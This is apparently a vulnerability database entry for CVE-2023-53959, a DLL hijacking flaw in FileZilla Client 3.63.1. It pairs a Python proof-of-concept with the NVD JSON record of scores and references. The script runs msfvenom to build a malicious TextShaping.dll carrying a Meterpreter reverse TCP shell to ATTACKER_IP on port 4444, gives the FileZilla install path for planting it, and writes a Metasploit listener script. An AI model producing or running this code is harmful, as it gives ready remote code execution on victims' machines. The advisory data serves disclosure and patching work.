CVE-2023-53959

# CVE-2023-53959 FileZilla Client DLL Hijacking PoC # Author: Vulnerability Research # Description: Generate malicious TextShaping.dll for FileZilla Client DLL hijacking import os import sys def generate_msfvenom_payload(): """ Generate reverse shell payload using msfvenom Replace the legitimate TextShaping.dll with this malicious DLL """ lhost = "ATTACKER_IP" # Replace with attacker IP lport = "4444" # Replace with listener port # Generate Windows DLL payload (reverse TCP meterpreter) cmd = f'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f dll > TextShaping.dll' print(f"[!] Execute: {cmd}") os.system(cmd) print("[*] Malicious TextShaping.dll generated successfully") print(f"[*] Place the DLL in FileZilla Client installation directory") print(f"[*] Default path: C:\\Program Files\\FileZilla FTP Client\\") def create_listener_script(): """ Generate Metasploit listener resource script """ listener_script = '''use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST ATTACKER_IP set LPORT 4444 set ExitOnSession false exploit -j -z ''' with open('listener.rc', 'w') as f: f.write(listener_script) print("[*] Listener script created: listener.rc") print("[*] Run: msfconsole -r listener.rc") if __name__ == "__main__": print("=" * 60) print("CVE-2023-53959 FileZilla Client DLL Hijacking PoC") print("=" * 60) generate_msfvenom_payload() create_listener_script() print("\n[!] Warning: This PoC is for educational and authorized testing purposes only")

{"cve": {"id": "CVE-2023-53959", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:53.030", "lastModified": "2026-04-09T21:19:48.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileZilla Client 3.63.1 contains a DLL hijacking vulnerability that allows attackers to execute malicious code by placing a crafted TextShaping.dll in the application directory. Attackers can generate a reverse shell payload using msfvenom and replace the missing DLL to achieve remote code execution when the application launches."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filezilla-project:filezilla_client:3.63.1:*:*:*:*:*:*:*", "matchCriteriaId": "F0687AC0-6C26-4138-8D9F-E80F1A675CBC"}]}]}], "references": [{"url": "https://filezilla-project.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51267", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/filezilla-client-dll-hijacking-via-missing-textshapingdll", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}